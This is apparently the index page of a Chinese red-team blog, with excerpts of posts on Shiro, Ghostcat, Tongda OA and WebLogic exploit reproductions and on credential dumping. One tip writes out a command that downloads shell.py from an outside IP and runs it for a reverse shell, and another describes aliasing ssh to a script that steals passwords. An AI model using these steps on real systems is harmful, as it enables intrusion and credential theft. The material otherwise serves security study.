Shiro反序列化无文件回显 🔥
今天突然看到一个项目发现很不错。https://github.com/j1anFen/ysoserial_echo支持：ApereoCAS4.1.X默认密钥Shirospring环境下回显Liferayprotal7.0以上本地复现环境Vulhub环境搭建git下来后，直接在ysoserial_ec
人若无名便可专心练剑
Scroll DownTomcat幽灵猫漏洞实战 🔥
前言： 公司项目上遇到的一个传销站，是一个Thinkphp3.0的。尝试了payload进行注入后，发现只有一个盲注。于是就去找找有没有相同站点，拿个源码来审计审计。搜索到一个相同站点下存在8009端口的ajp协议和一个8080端口的tomcat站点，于是就想到了幽灵猫漏洞。发现使用Jspst
「漏洞复现」通达OA任意用户登陆 🔥
直接上POC热乎着的GET/general/login_code.phpHTTP/1.1Host:192.168.91.131Pragma:no-cacheCache-Control:no-cacheUpgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(
「漏洞复现」CVE-2020-2555-Oracle Coherence&WebLogic反序列化远程代码执行 🔥
「漏洞复现」CVE-2020-2555-OracleCoherence&WebLogic反序列化远程代码执行我的环境靶机：windows2008r2datacenterjavajdk8u202weblogic12.2.1.3.0ip：192.168.91.131攻击机：macOScatali
「漏洞复现」Weblogic CVE-2020-2551 IIOP协议反序列化RCE 🔥
WeblogicCVE-2020-2551IIOP协议反序列化RCE看到weblogic的这个漏洞，想着到时候hw的时候应该可以利用下。。。。环境搭建github上有个大佬，已经把环境脚本全部配置好了。https://github.com/cnsimo/CVE-2020-2551但是在搭建的时候还是
FRP代理钉钉通知
主要项目：https://github.com/arugal/frp-notify可以直接下载release版本即可，或者自行使用realse.sh进行编译。目录介绍frp-notify└───system||frp-notify.service#linux系统服务配置文件|│frp-notify#
「Tips」命令执行无回显无法反弹shell的后续操作
我一般在遇到Java反序列化可以命令执行后，会选择用python的方式反弹shell。先wget下载wgethttp://123.123.123.123/shell.py-O/tmp/shell.py然后再执行python/tmp/shell.py这样一般不用去考虑符号带来的编码问题了。虽然要繁琐些
Linux下低权限用户记录SSH的密码
实现思路 当用户执行sshuser@remotehost时，实际上执行的是我的恶意脚本，负责将用户输入的密码存在本地，并传参给正常的SSH连接，实现抓取SSH密码的功能。具体步骤首先使用alias命令创建一个别名这样当用户执行ssh时，执行的是指定的脚本aliasssh="/tmp/
[转载]DEVCORE 红队的进化，与下一步
前言 「红队演练」近年来渐渐开始被大家提及，也开始有一些厂商推出红队服务。不过关于在台湾红队是怎么做的就比较少人公开分享，身为第一个在台湾推红队演练的公司，我想就根据这两年多来的实战经验，分享为什么我们要做红队、我们面临到的问题、以及在我们心中认为红队成员应该具备的特质。最后再分享我们现阶段看
ATT&CK技术-T1003-Credential Dumping
CredentialDumping凭证转储ID:T1003Source:https://attack.mitre.org/techniques/T1003/DetailsProcDumpandMimikatz下载ProcDump工具到需要抓取密码的那台主机上:可以使用Powershell来下载，或者